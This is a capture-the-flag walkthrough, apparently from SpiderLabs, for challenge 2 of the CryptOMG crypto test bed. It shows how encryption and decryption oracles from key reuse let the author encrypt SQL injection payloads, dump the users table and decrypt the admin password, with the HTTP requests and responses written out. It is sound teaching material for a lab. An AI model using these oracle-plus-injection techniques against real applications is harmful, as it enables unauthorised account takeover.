For those of you that missed it last time, CryptOMG is a configurable CTF-style test bed
that highlights flaws in cryptographic implementations. The application and
installation instructions can be downloaded for free at the SpiderLabs
Github. The challenge 1 walkthrough can be found here.
The goal for the second challenge is to get the admin
password. Unlike the first challenge, which told us there was probably a
directory traversal flaw, this does not give us a very clear picture of the
type of flaw we will be exploiting. After opening the application, we are
presented with a login form and instructions telling us that we can login with
guest/guest. Taking a closer look at the URL parameters, we have a “ReturnUrl”
parameter with 32 hex characters, in this case 82803ac0ee614d894128649a2eb31f03.
This could be a couple different things; it is possible that
this is simply just a unique identifier to reference the next page or
ciphertext. Changing the values of the input does not give us anything to go
off. Unlike the first challenge, there are no verbose error messages or
unexpected behavior observed by modifying these values. We can assume, given
the parameter name, this parameter contains data that will tell the application
to redirect. Let’s try logging in with different values for the “ReturnUrl”
parameter and see how the application behaves.
Starting with the initial value:
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f03
After authenticating against the application, the server
returns a 302 redirect response to /index.php?page=articles. This is the expected
behavior of the application.
HTTP/1.1 302 Found
Date: Fri, 28 Sep 2012 18:52:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By:
PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store,
no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
Now let’s try changing the value of “ReturnUrl” to something
unexpected and see how the application reacts.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f02

Interesting; now the page value is garbled. We can guess
that the application is not pulling filenames from a database, otherwise it
would be something more readable or nothing at all if the value didn’t match a
record. The text is garbled when changing
one byte of the text and the length of the text is divisible by eight this indicates that we may be dealing with ciphertext.
We can continue to poke around the application a little bit more and see if we
can confirm this.
Once we are authenticated, we are taken to page with a list
of articles. Clicking on the links pulls up the corresponding article. Looking
at the parameters we can see there is a “page” parameter, that does not seem to
do much other specifying what part of the application we are, in this case
“Articles”, and an “id” parameter that looks to be hex encoded.

Seeing as how the “id” parameter is the only parameter that
varies throughout the different articles (and its conveniently named id) we can
assume this the parameter that is used to pull the article data. Modifying the
data in this parameter does not seem to do much other than tell us the article
does not exist. Adding a quote to the data however, gives an error message
confirming that this is indeed a hex encoded string.

Considering the data matching the same characteristics for
ciphertext as the original value for the ReturnUrl parameter, it’s worth
treating this as cipher text as well. We know that the ReturnUrl parameter
contains a value that is used to redirect the user to another page after a
successful login. Since this is ciphertext its probably being decrypted and
processed on the back end, so what would happen if we took the valid ciphertext
and swapped it out with some different ciphertext found elsewhere in the
application. Lets logout of the application and take the value from the “id”
parameter and put it in the ReturnUrl parameter and see what happens. Our new
URL looks like this:
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&ReturnUrl=d7271a80d95b0103d2afe3fc75e1a8a4
HTTP/1.1 302 Found
Date: Thu , Dec 20 Sep 2012 17:00:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=1
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
And now we are being redirected and the new value of the
page parameter is “1”. This tells us a couple of things. First off, we are
definitely dealing with ciphertext since we were able to take an encrypted
value from another parameter and put it in the ReturnUrl parameter to provide
us with the corresponding plaintext. If the cipher text were invalid, we would
have garbled text like we did earlier in the application. Secondly, the
application appears to be reusing keys and potentially initialization vectors,
depending on the algorithm and mode of operation in use, since two different
ciphertext values could be decrypted using the same function on the site. So
now we have a decryption oracle and we can see how the text is formatted. But
there is not a whole lot we can do at this point since we can’t really modify
the data. So lets try to find another way of entry. Is the application handling
authentication properly? Maybe we can try to access an authenticated area
without having a valid session.
We can try logging out then requesting the articles page.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:24:18 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f03
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html
Hmm...Looks like its just redirecting us back to the
starting location, what happens if we try requesting an article?
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles&id=d7271a80d95b0103d2afe3fc75e1a8a4
Now this is interesting, we are redirected back to the login
page but the ReturnUrl parameter is significantly different and much larger.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013
19:25:36 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache<
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=68d4189daabe2a91c66b2bc0b14f2edbf5bb287e4d87f023eef33c0021ecc8ba0a2263794093a73240f8b421a2ea73fe
Vary: Accept-Encoding
Content-Length: 2483
Content-Type: text/html
Lets login and see where this redirects.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:53:54 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles&id=d7271a80d95b0103d2afe3fc75e1a8a4
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
It redirects us back to the article we requested initially.
As we found out earlier, it appears the ciphertext starts with the “page”
parameter. Next we can make a request with the value of page set to spiderlabs
and see if it encrypts it for us.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=spiderlabs
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:55:07 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=7ba05e06faa768cd70d9278feeebc53d
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html
The ciphertext is definitely different, we can go ahead and login to see if it worked and we get
redirected to page=spiderlabs as expected.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:58:01 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=spiderlabs
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
And we are redirected which means we now have an encryption
oracle in addition to the decryption oracle discovered earlier. We can now
encrypt our own messages and since we can swap cipher texts from different
parts of the application, now we can try to encrypt something we can use in the
articles id parameter. A common mistake I see is that developers assume that
since the data is encrypted its perfectly safe from any sort of injection
attacks and, as a result, they treat ciphertext as trusted and do not input
filtering or validation. Lets see if that holds true here.
Go ahead and request a page with an SQL injection payload in
it and see how the application handles it. First we have to encrypt the payload
by requesting
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=1'+or+1='1
We get redirected as expected with the ReturnUrl parameter
containing the encrypted version of our attack vector. We can copy the
ciphertext from ReturnUrl, in this case e67e5ddf94a0616f81a9b3c1915680fc and
then login to the application. Now lets request an article but instead of using
the default id value, replace it with our new ciphertext.
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles&id=e67e5ddf94a0616f81a9b3c1915680fc

That gave us every article so now we know that the
application is vulnerable to SQL injection but we aren’t done yet. The goal is
get the admin password. Try encrypting 0’ union select * from users --
http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=0'+union+select+*+from+users+--+
This gave us our new cipher text of
9a21805e2556bf0ccebd0631daa379d225f749ab5365bf1efafcb4f4a5df5ec5
We can go ahead and put this into the id parameter for
articles.

And bam, now we have the admin password. We still aren’t
quite done yet though. We know the password for the guest user is “guest” so it
looks like these passwords are encrypted. Since the application reuses its
encryption keys throughout the application we can guess they did the same thing
here. Before we can try that though, we have to put the passwords in the proper
encoding. It looks like this is websafe base64,
we need it to be in hex. So we need to turn that underscore into a slash and
the period into an equal sign. So our cipher text now looks like this:
/GEOvKa9k9ga3spI0AVQtvYc6tDgcWjoJlT0VKMB8c4=
There are plenty of tools online to help decode this. I used
Burp Suite. First we decode the base64 and then encode the output to ASCII hex.

So now our final hex value is
fc610ebca6bd93d81adeca48d00550b6f61cead0e07168e82654f454a301f1ce
Let’s go ahead and throw this in the ReturnUrl parameter and
login.
HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 20:00:38 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=Cru@UJUbet69YePejEwr
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html
Bam! Now we have our decrypted admin password. Lets login as
admin to make sure it worked.

Login successful! <Insert victory dance here>